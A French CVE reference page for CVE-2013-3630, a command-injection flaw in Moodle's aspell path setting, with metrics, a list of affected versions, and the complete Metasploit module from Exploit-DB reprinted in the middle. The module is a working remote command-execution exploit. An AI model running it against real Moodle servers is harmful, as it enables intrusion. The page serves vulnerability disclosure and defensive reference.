CVE-2013-3630 : Détail

CVE-2013-3630

Code Injection
A03-Injection
63.95%V4
Network
2013-11-01
00h00 +00:00
2021-10-12
15h06 +00:00
CVE.org
NVD
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Descriptions du CVE

Moodle through 2.5.2 allows remote authenticated administrators to execute arbitrary programs by configuring the aspell pathname and then triggering a spell-check operation within the TinyMCE editor.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.6 AV:N/AC:H/Au:S/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 29324

Date de publication : 2013-10-30 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rexml/document' class Metasploit4 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Moodle Remote Command Execution', 'Description' => %q{ Moodle allows an authenticated user to define spellcheck settings via the web interface. The user can update the spellcheck mechanism to point to a system-installed aspell binary. By updating the path for the spellchecker to an arbitrary command, an attacker can run arbitrary commands in the context of the web application upon spellchecking requests. This module also allows an attacker to leverage another privilege escalation vuln. Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey and use this to escalate privileges to that of an admin, allowing the module to pop a shell as a previously unprivileged authenticated user. This module was tested against Moodle version 2.5.2 and 2.2.3. }, 'License' => MSF_LICENSE, 'Author' => [ 'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module ], 'References' => [ ['CVE', '2013-3630'], ['EDB', '28174'], #xss vuln allowing sesskey of admins to be stolen ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats'] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet python', } }, 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Targets' => [['Automatic',{}]], 'DisclosureDate' => 'Oct 30 2013', 'DefaultTarget' => 0 )) register_options( [ OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']), OptString.new('PASSWORD', [ true, "Password to authenticate with", '']), OptString.new('SESSKEY', [ false, "The session key of the user to impersonate", ""]), OptString.new('TARGETURI', [ true, "The URI of the Moodle installation", '/moodle/']) ], self.class) end def exploit init = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php') }) sess = init.get_cookies post = { 'username' => datastore["USERNAME"], 'password' => datastore["PASSWORD"] } print_status("Authenticating as user: " << datastore["USERNAME"]) login = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/login/index.php'), 'vars_post' => post, 'cookie' => sess }) if !login or login.code != 303 fail_with("Login failed") end sess = login.get_cookies print_status("Getting session key to update spellchecker if no session key was specified") sesskey = '' if datastore['SESSKEY'] == '' tinymce = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/admin/settings.php') + '?section=editorsettingstinymce', 'cookie' => sess }) tinymce.body.each_line do |line| next if line !~ /name="sesskey"/ sesskey = line[0..line.index('>')] end if sesskey == '' fail_with("Unable to get proper session key") end sesskey = REXML::Document.new sesskey sesskey = sesskey.root.attributes["value"] else sesskey = datastore['SESSKEY'] end post = { 'section' => 'editorsettingstinymce', 'sesskey' => sesskey, 'return' => '', 's_editor_tinymce_spellengine' => 'PSpellShell', 's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv' } print_status("Updating spellchecker to use the system aspell") post = { 'section' => 'systempaths', 'sesskey' => sesskey, 'return' => '', 's__gdversion' => '2', 's__pathtodu' => '/usr/bin/du', 's__aspellpath' => payload.encoded, 's__pathtodot' => '' } aspell = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/admin/settings.php'), 'vars_post' => post, 'cookie' => sess }) spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}' print_status("Triggering payload") resp = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php'), 'data' => spellcheck, 'ctype' => 'application/json', 'cookie' => sess }) if !resp or resp.code != 200 fail_with("Error triggering payload") end end end

Products Mentioned

Configuraton 0

Moodle>>Moodle >> Version To (including) 2.5.2

Moodle>>Moodle >> Version 1.1.1

Moodle>>Moodle >> Version 1.2.0

Moodle>>Moodle >> Version 1.2.1

Moodle>>Moodle >> Version 1.3.0

Moodle>>Moodle >> Version 1.3.1

Moodle>>Moodle >> Version 1.3.2

Moodle>>Moodle >> Version 1.3.3

Moodle>>Moodle >> Version 1.3.4

Moodle>>Moodle >> Version 1.4.1

Moodle>>Moodle >> Version 1.4.2

Moodle>>Moodle >> Version 1.4.3

Moodle>>Moodle >> Version 1.4.4

Moodle>>Moodle >> Version 1.4.5

Moodle>>Moodle >> Version 1.5

Moodle>>Moodle >> Version 1.5.0

Moodle>>Moodle >> Version 1.5.1

Moodle>>Moodle >> Version 1.5.2

Moodle>>Moodle >> Version 1.5.3

Moodle>>Moodle >> Version 1.6.0

Moodle>>Moodle >> Version 1.6.1

Moodle>>Moodle >> Version 1.6.2

Moodle>>Moodle >> Version 1.6.3

Moodle>>Moodle >> Version 1.6.4

Moodle>>Moodle >> Version 1.6.5

Moodle>>Moodle >> Version 1.6.6

Moodle>>Moodle >> Version 1.6.7

Moodle>>Moodle >> Version 1.6.8

Moodle>>Moodle >> Version 1.7.1

Moodle>>Moodle >> Version 1.7.2

Moodle>>Moodle >> Version 1.7.3

Moodle>>Moodle >> Version 1.7.4

Moodle>>Moodle >> Version 1.7.5

Moodle>>Moodle >> Version 1.7.6

Moodle>>Moodle >> Version 1.8.1

Moodle>>Moodle >> Version 1.8.2

Moodle>>Moodle >> Version 1.8.3

Moodle>>Moodle >> Version 1.8.4

Moodle>>Moodle >> Version 1.8.5

Moodle>>Moodle >> Version 1.8.6

Moodle>>Moodle >> Version 1.8.7

Moodle>>Moodle >> Version 1.8.8

Moodle>>Moodle >> Version 1.8.9

Moodle>>Moodle >> Version 1.8.10

Moodle>>Moodle >> Version 1.8.11

Moodle>>Moodle >> Version 1.8.12

Moodle>>Moodle >> Version 1.8.13

Moodle>>Moodle >> Version 1.8.14

Moodle>>Moodle >> Version 1.9.1

Moodle>>Moodle >> Version 1.9.2

Moodle>>Moodle >> Version 1.9.3

Moodle>>Moodle >> Version 1.9.4

Moodle>>Moodle >> Version 1.9.5

Moodle>>Moodle >> Version 1.9.6

Moodle>>Moodle >> Version 1.9.7

Moodle>>Moodle >> Version 1.9.8

Moodle>>Moodle >> Version 1.9.9

Moodle>>Moodle >> Version 1.9.10

Moodle>>Moodle >> Version 1.9.11

Moodle>>Moodle >> Version 1.9.12

Moodle>>Moodle >> Version 1.9.13

Moodle>>Moodle >> Version 1.9.14

Moodle>>Moodle >> Version 1.9.15

Moodle>>Moodle >> Version 1.9.16

Moodle>>Moodle >> Version 1.9.17

Moodle>>Moodle >> Version 1.9.18

Moodle>>Moodle >> Version 2.0.0

Moodle>>Moodle >> Version 2.0.1

Moodle>>Moodle >> Version 2.0.2

Moodle>>Moodle >> Version 2.0.3

Moodle>>Moodle >> Version 2.0.4

Moodle>>Moodle >> Version 2.0.5

Moodle>>Moodle >> Version 2.0.6

Moodle>>Moodle >> Version 2.0.7

Moodle>>Moodle >> Version 2.0.8

Moodle>>Moodle >> Version 2.0.9

Moodle>>Moodle >> Version 2.1.0

Moodle>>Moodle >> Version 2.1.1

Moodle>>Moodle >> Version 2.1.2

Moodle>>Moodle >> Version 2.1.3

Moodle>>Moodle >> Version 2.1.4

Moodle>>Moodle >> Version 2.1.5

Moodle>>Moodle >> Version 2.1.6

Moodle>>Moodle >> Version 2.1.7

Moodle>>Moodle >> Version 2.1.8

Moodle>>Moodle >> Version 2.1.9

Moodle>>Moodle >> Version 2.1.10

Moodle>>Moodle >> Version 2.2.0

Moodle>>Moodle >> Version 2.2.1

Moodle>>Moodle >> Version 2.2.2

Moodle>>Moodle >> Version 2.2.3

Moodle>>Moodle >> Version 2.2.4

Moodle>>Moodle >> Version 2.2.5

Moodle>>Moodle >> Version 2.2.6

Moodle>>Moodle >> Version 2.2.7

Moodle>>Moodle >> Version 2.2.8

Moodle>>Moodle >> Version 2.2.9

Moodle>>Moodle >> Version 2.2.10

Moodle>>Moodle >> Version 2.2.11

Moodle>>Moodle >> Version 2.3.0

Moodle>>Moodle >> Version 2.3.1

Moodle>>Moodle >> Version 2.3.2

Moodle>>Moodle >> Version 2.3.3

Moodle>>Moodle >> Version 2.3.4

Moodle>>Moodle >> Version 2.3.5

Moodle>>Moodle >> Version 2.3.6

Moodle>>Moodle >> Version 2.3.7

Moodle>>Moodle >> Version 2.3.8

Moodle>>Moodle >> Version 2.4.0

Moodle>>Moodle >> Version 2.4.1

Moodle>>Moodle >> Version 2.4.2

Moodle>>Moodle >> Version 2.4.3

Moodle>>Moodle >> Version 2.4.4

Moodle>>Moodle >> Version 2.4.5

Moodle>>Moodle >> Version 2.5.0

Moodle>>Moodle >> Version 2.5.1

Références

Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.